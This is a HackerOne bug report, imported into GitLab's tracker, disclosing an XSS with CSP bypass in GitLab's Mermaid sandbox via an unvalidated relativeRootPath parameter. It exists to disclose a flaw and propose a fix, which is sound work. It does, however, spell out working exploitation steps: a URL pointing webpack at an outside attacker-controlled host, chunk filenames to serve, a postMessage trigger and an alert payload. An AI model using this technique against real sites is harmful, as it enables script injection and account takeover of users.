CVE-2025-12029 Variant: Mermaid Sandbox Webpack Public Path Injection Enables XSS with CSP Bypass
HackerOne report #3473276 by aphantom on 2025-12-20, imported by @gandrews7:
Report | Attachments | How To Reproduce
HackerOne Analyst Summary
Summary
The Mermaid sandbox endpoint (/-/sandbox/mermaid) on gitlab.com contains a vulnerability that allows Cross-Site Scripting (XSS) attacks with Content Security Policy (CSP) bypass capabilities. This vulnerability is classified as a variant of CVE-2025-12029, which was previously addressed for the Swagger sandbox but the same security controls were not applied to the Mermaid sandbox implementation.
The root cause lies in the unsafe handling of the relativeRootPath URL parameter, which is directly assigned to webpack's public path configuration without proper validation. An attacker can supply a protocol-relative URL (such as //attacker.com) as the relativeRootPath parameter, causing webpack to dynamically load and execute JavaScript chunks from an attacker-controlled external domain within the gitlab.com origin context.
The vulnerability becomes particularly dangerous due to GitLab's CSP implementation using script-src 'strict-dynamic'. Since webpack is considered a trusted script, any dynamically loaded chunks inherit this trust level, effectively bypassing CSP origin restrictions entirely. While the sandbox correctly validates postMessage origins, limiting standalone exploitation, this vulnerability serves as a significant force-multiplier that can amplify any existing or future XSS vulnerabilities on gitlab.com by providing a mechanism for full CSP bypass.
The vulnerability affects the GitLab.com SaaS platform and represents an incomplete application of a known security fix, where the validation logic implemented for the Swagger sandbox in commit 990558a0b288a24446becf198db4c48027b4bbfe was not consistently applied across all similar attack vectors.
Steps to Reproduce
-
Set up attacker-controlled JavaScript files: Host malicious JavaScript files under the
/assets/webpackpath on a server under attacker control. The required files include:runtime.bundle.jsmain.bundle.js884b0ba2.969c03a3.chunk.js2a9eb9ad.2228a3c7.chunk.js2ef913fd.1b26f23c.chunk.js36df1bb1.ce610158.chunk.jsc539f40b.d2f6c494.chunk.js
-
Configure browser for monitoring: Open Developer Tools → Network tab → enable Preserve log option to monitor network requests.
-
Navigate to vulnerable endpoint: Visit the following URL with the malicious
relativeRootPathparameter:https://gitlab.com/-/sandbox/mermaid?relativeRootPath=//aphantom.blob.core.windows.net -
Trigger diagram rendering: Execute the following JavaScript to initiate the vulnerability:
window.postMessage('graph TD;A-->B;', window.location.origin); -
Observe malicious script loading: Monitor the
Networktab to confirm webpack loads chunks from the attacker domain:https://aphantom.blob.core.windows.net/assets/webpack/runtime.bundle.js https://aphantom.blob.core.windows.net/assets/webpack/*.chunk.js -
Verify execution: Confirm that the attacker-controlled JavaScript executes within the
gitlab.comorigin context.
Evidence of vulnerable code location (app/assets/javascripts/lib/mermaid.js):
const resetWebpackPublicPath = () => {
window.gon = { relative_url_root: getParameterByName('relativeRootPath') };
resetServiceWorkersPublicPath();
};
resetWebpackPublicPath();
Impact
The vulnerability enables an unauthenticated attacker to perform unauthorized actions on behalf of authenticated users by injecting malicious external scripts into the Mermaid Sandbox.
Original Report
Summary
The Mermaid sandbox endpoint (/-/sandbox/mermaid) accepts an unvalidated relativeRootPath URL parameter which directly controls webpack’s public path. This allows an attacker to load arbitrary JavaScript chunks from an external domain and execute them in the gitlab.com origin.
This is a variant of CVE-2025-12029, which was fixed for the Swagger sandbox in commit 990558a0b288a24446becf198db4c48027b4bbfe. The same validation logic was not applied to the Mermaid sandbox, leaving it vulnerable to the identical attack pattern.
By supplying a protocol-relative URL (e.g. //attacker.com) as relativeRootPath, under certain circumstances, webpack dynamically loads and executes attacker-controlled scripts, resulting in XSS with a full CSP bypass due to strict-dynamic.
Note: Given that CVE-2025-12029 established both the vulnerability pattern and severity precedent, I am submitting this variant for immediate remediation rather than investing additional time in chaining—the fix is a straightforward port of existing validation logic.
Root Cause
The Mermaid sandbox reads relativeRootPath directly from the URL and assigns it to webpack’s public path without validation.
Vulnerable code (app/assets/javascripts/lib/mermaid.js):
const resetWebpackPublicPath = () => {
window.gon = { relative_url_root: getParameterByName('relativeRootPath') };
resetServiceWorkersPublicPath();
};
resetWebpackPublicPath();
There is no validation to ensure the value is a safe, same-origin relative path.
Comparison to Fixed Swagger Sandbox
After CVE-2025-12029, GitLab added validation to the Swagger sandbox:
if (!relativeRootPath ||
!relativeRootPath.startsWith('/') ||
relativeRootPath.startsWith('//')) {
return;
}
This validation blocks protocol-relative URLs (//attacker.com). The same fix was not applied to the Mermaid sandbox.
Steps to Reproduce
- Host attacker-controlled JavaScript files under
/assets/webpackin a server you control (or use my blob storage):runtime.bundle.jsmain.bundle.js884b0ba2.969c03a3.chunk.js2a9eb9ad.2228a3c7.chunk.js2ef913fd.1b26f23c.chunk.js36df1bb1.ce610158.chunk.jsc539f40b.d2f6c494.chunk.js
Example payload across all files:
alert('XSS in ' + document.domain);
-
Open DevTools → Network → enable Preserve log.
-
Visit:
https://gitlab.com/-/sandbox/mermaid?relativeRootPath=//aphantom.blob.core.windows.net -
Trigger diagram rendering (for sake of quick poc):
window.postMessage('graph TD;A-->B;', window.location.origin); -
Observe webpack loading chunks from the attacker domain:
https://aphantom.blob.core.windows.net/assets/webpack/runtime.bundle.js https://aphantom.blob.core.windows.net/assets/webpack/*.chunk.js -
Attacker JavaScript executes in the
gitlab.comorigin.
CSP Bypass
GitLab’s CSP uses script-src 'strict-dynamic'.
Webpack is a trusted script, so any dynamically loaded chunks inherit trust. When webpack loads scripts from //attacker.com, CSP origin restrictions are bypassed entirely.
Exploitation Context & Constraints
The sandbox correctly validates postMessage origin (event.origin === window.location.origin), which limits standalone exploitation. However:
- This vulnerability amplifies any existing or future XSS on
gitlab.com - Any XSS capable of opening the Mermaid sandbox and calling
postMessageescalates to full CSP bypass - The trigger mechanism mirrors legitimate application behavior (
render_sandboxed_mermaid.js)
This is therefore a force-multiplier vulnerability, not a self-XSS.
Why This Is Not Self-XSS
- The vulnerability is GitLab-controlled code, not user behavior
- Identical exploitation mechanics were accepted as High severity in CVE-2025-12029
- The console trigger only demonstrates exploitability; the flaw is untrusted control over script origins
- Any same-origin execution path can trigger the issue
What is the current bug behavior?
The Mermaid sandbox accepts any relativeRootPath, including protocol-relative URLs. Webpack loads and executes attacker-controlled scripts.
What is the expected correct behavior?
The Mermaid sandbox should apply the same validation introduced for Swagger:
- Reject empty values
- Require paths to start with
/ - Reject paths starting with
//
Relevant logs and/or screenshots
Below is a video POC showcasing the steps defined above:
Output of checks
- Affected: GitLab.com (SaaS)
- Related CVE: CVE-2025-12029
-
Relevant Fix Commit:
990558a0b288a24446becf198db4c48027b4bbfe
Impact
Under certain circumstances, allows an unauthenticated user to perform unauthorized actions on behalf of another user by injecting malicious external scripts into the Mermaid Sandbox.
Recommended Fix
Port the Swagger validation logic directly to mermaid.js:
const resetWebpackPublicPath = () => {
+ const relativeRootPath = getParameterByName('relativeRootPath');
+
+ if (!relativeRootPath ||
+ !relativeRootPath.startsWith('/') ||
+ relativeRootPath.startsWith('//')) {
+ return;
+ }
+
- window.gon = { relative_url_root: getParameterByName('relativeRootPath') };
+ window.gon = { relative_url_root: relativeRootPath };
resetServiceWorkersPublicPath();
};
Severity Justification
High — CVSS 8.0 (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N)
This is the same CVSS score assigned to CVE-2025-12029, which is appropriate since:
- Identical vulnerability pattern and attack vector
- Same impact: arbitrary JS execution with CSP bypass
- Incomplete application of a known security fix
- Escalates minor XSS into full account compromise
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section:


